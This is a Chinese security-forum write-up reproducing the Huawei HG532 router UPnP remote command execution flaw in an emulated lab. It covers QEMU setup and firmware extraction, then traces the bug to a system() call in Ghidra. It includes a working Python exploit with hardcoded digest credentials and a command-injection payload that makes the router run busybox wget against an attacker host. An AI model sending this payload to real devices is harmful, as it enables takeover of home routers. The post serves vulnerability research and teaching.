首页
社区
课程
招聘
[原创]物联网漏洞复现:HUAWEI HG532系列路由器远程命令执行
2020-12-28 18:04 7306

[原创]物联网漏洞复现:HUAWEI HG532系列路由器远程命令执行

2020-12-28 18:04
7306

华为HG532e路由器是一款专为家庭和小型办公用户精心打造的高速无线路由产品。网络侧提供高速ADSL接口,用于连接ADSL宽带;用户侧提供无线和有线两种接入方式。HG532e路由器具有无线局域网、路由功能、防火墙和家长控制功能、方便安全的配置管理等主要功能。

 

获取固件

 

下载地址:https://ia601506.us.archive.org/22/items/RouterHG532e/router%20HG532e.rar

环境搭建

1、ubuntu18.04虚拟机

 

2、firmware analysis toolkit(fat)

 

3、qemu

1
2
3
sudo apt-get install qemu
sudo apt-get install qemu-user-static
sudo apt-get install qemu-system

4、网络配置工具

1
apt-get install bridge-utils uml-utilities

5、debian mips qemu

 

6、debian_squeeze_mips_standard.qcow2

 

7、vmlinux-2.6.32-5-4kc-malta

 

这里本来想使用fat启动虚拟环境,但启动后无法登陆,经过参考参考文章第二篇,最后使用了qemu虚拟机来模拟路由器

复现过程

1、设置网络环境

修改/etc/network/interfaces文件。enp0s5是我当前主机的网卡。

1
2
3
4
5
6
7
auto lo
iface lo inet loopback
 
auto br0
iface br0 inet dhcp
bridge_ports enp0s5
bridge_maxwait 0

修改/etc/qemu_ifup文件,更改qemu虚拟机的网络接口

1
2
sudo /sbin/ifconfig $1 0.0.0.0 promisc up
sudo /sbin/brctl addif br0 $1

启动qemu虚拟机(以下简称虚拟机)。这里由于没有设置环境变量,我直接进入找到下载的vmlinux-2.6.32-5-4kc-malta和debian_squeeze_mips_standard.qcow2目录下启动虚拟机。虚拟机用户名root,密码root。

1
sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic,macaddr=00:16:3e:00:00:01 -net tap

2、提取固件系统文件

使用binwalk提取固件系统文件

1
binwalk -Me hg532e.bin

进入保存提取内容的目录,将squashfs-root目录拷贝到虚拟机中

1
scp -r sqashfs-root root@10.211.55.22:~/sqashfs-root

3、启动环境

在虚拟机中找到提取到的固件系统文件并进入sqashfs-root目录中,切换到路由器文件系统指令

1
chroot . /bin/sh

切换后会看到如下内容

 

图片描述

 

运行服务

1
2
/bin/upnp
/bin/mic

4、漏洞利用

在ubuntu上执行nc监听

1
nc -lvp 80

使用python执行如下代码,修改其中的ip地址,ip_ubunut填写ubuntu地址,ip_vm填写虚拟机地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
 
headers = {
    "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}
 
data = '''
<?xml version="1.0" ?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
    <s:Body>
        <u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
          <NewStatusURL>;/bin/busybox wget -g {ip_ubuntu} -l /tmp/1 -r /1;</NewStatusURL>
            <NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
      </u:Upgrade>
    </s:Body>
</s:Envelope>
'''
requests.post('http://{ip_vm}:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)

命令成功执行

 

图片描述

漏洞分析

漏洞点在FUN_0040749c,可通过查找system()函数的交叉引用进行定位。FUN_0040749c没有交叉引用,通过搜索该地址字符串,查找到该地址存在在g_astActionArray

 

图片描述

 

不断的根据交叉引用追踪函数调用,逐步得到调用关系

1、函数调用关系

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
main
 |
ATP_UPNP_Init
 |
FUN_004065b4
 |
FUN_0040a9c8 ------------------------+
 |                                   |
UPnPGetActionByName             (libhttpapi.so)
 |                                   |
g_astActionArray           ATP_HTTP_ClientCheckAuthorization
 |                                   |
FUN_0040749c                HTTPAuth_BuildChallengeHeader
 |
system

2、函数分析

在ATP_UPNP_Init中通过调用ATP_UPNP_RegDeviceAndService注册了

 

图片描述 图片描述

 

引用了etc/upnp目录下的DevUpg.xml文件

 

图片描述

 

在FUN_0040a9c8中先获取了HTTP接收的请求body

 

图片描述

 

检查url路径,调用对应的服务。URI路径为:/ctrlt/DeviceUpgrade_1,

 

图片描述

 

对获取到的xml格式的数据进行解析

 

图片描述

 

获得对应的方法函数

 

图片描述

 

调用ATP_HTTP_ClientCheckAuthorization进行权限检查

 

图片描述

 

跟进ATP_HTTP_ClientCheckAuthorization,该函数是从libhttpapi.so链接库导入,libhttpapi.so在固件提取目录下的lib中,libhttpapi.so放入ghirda中进行分析,从symbol tree 中找到ATP_HTTP_ClientCheckAuthorization函数

 

在函数内部调用了与HTTPAuth_BuildChallengeHeader
图片描述 图片描述

 

跟进HTTPAuth_BuildChallengeHeader,其中分别定义了认证字段

 

图片描述

 

最后回到upnp文件中,存在漏洞的FUN_0040749c中,使用snprintf()函数对字符串进行拼接,并在第19行放入system()函数中执行,造成命令执行。

 

图片描述


阿里云助力开发者!2核2G 3M带宽不限流量!6.18限时价,开 发者可享99元/年,续费同价!

收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回